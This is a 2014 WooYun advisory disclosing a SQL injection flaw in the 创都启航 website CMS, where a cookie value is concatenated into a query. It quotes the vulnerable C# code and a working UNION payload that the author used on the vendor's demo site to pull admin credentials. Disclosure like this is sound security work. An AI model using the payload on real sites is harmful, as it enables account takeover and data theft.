当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079879

漏洞标题:某通用建站系统SQL注入漏洞可获得管理员权限

相关厂商:创都启航

漏洞作者: 路人甲

提交时间:2014-10-21 13:08

修复时间:2015-01-19 13:10

公开时间:2015-01-19 13:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-21: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

某通用建站系统过滤不严导致SQL注入漏洞可获得管理员权限,影响站点众多。

详细说明:

创都启航 企业网站管理系统 SQL注入漏洞
源码下载地址:http://www.95c.com.cn/
下面给出官方演示站的证明
首先我们来的这么一个网站,注册一个会员账号,这个是官方给的演示网站
http://demo.95c.com.cn
注册成功以后,登录会员中心 来到会员系统这里
这里有个在线留言功能
此处在进行查询留言时,结合用户cookie信息进行查询
此处过滤不严导致注入
代码如下所示

private ICollection CreateSource()
{
string strQuery = "select * ,iif(IsNull(Reply)=True,'否','是') as Reply1 from QH_MessageMember where Name='" + ((string) this.ViewState["UserName"]) + "' order by id desc"; //此处使用UserName,注入点
DataTable table = this.Bll1.GetDataTablePage(this.CurrentPage * this.PageSize, this.PageSize, strQuery);
if (table == null)
{
return null;
}
if (table.Rows.Count == 0)
{
return null;
}
table.Columns.Add("AddDate1");
foreach (DataRow row in table.Rows)
{
if (row["AddDate"].ToString() != string.Empty)
{
row["AddDate1"] = ((DateTime) row["AddDate"]).ToString("yyyy-MM-dd HH:mm:ss");
}
}
return table.DefaultView;
}


跟踪UserName的来源可以看到如下代码

public static string GetAndTestUserName()
{
string str = "";
HttpContext.Current.Response.CacheControl = "no-cache";
if (HttpContext.Current.Request.Cookies["CmsUserName"] != null)
{
//从cookie当中获得CmsUserName的值
str = HttpUtility.UrlDecode(HttpContext.Current.Request.Cookies["CmsUserName"].Value);
}
if (string.IsNullOrEmpty(str))
{
HttpContext.Current.Response.Write("<script>alert('请先登陆!');location='Landing.aspx';</script>");
}
return str;
}


获得用户名信息未进行过滤 直接传入到查询当中
因此我们便可以构造语句获得相应的信息
构造cookie信息如下所示
名称:CmsUserName
内容:' union select 1,'2',3,admin,'5',6,null,null from admin where '1'='1
构造好了以后 刷新页面 标题内显示管理员账号,截图如下

1.png


更换字段名 将admin 换成pwd
获得密码字段的值 如下所示

2.png


获得如下信息 管理员账号

mask 区域
*****in 密^*****


mask 区域
1.://**.**.**//demo.95c.com.cn/CDQHCmsBack/admin_login.aspx_
*****^^录^*****


用户量还是蛮大的。

3.png


漏洞证明:

证明如上。

修复方案:

对用到cookie的地方进行过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝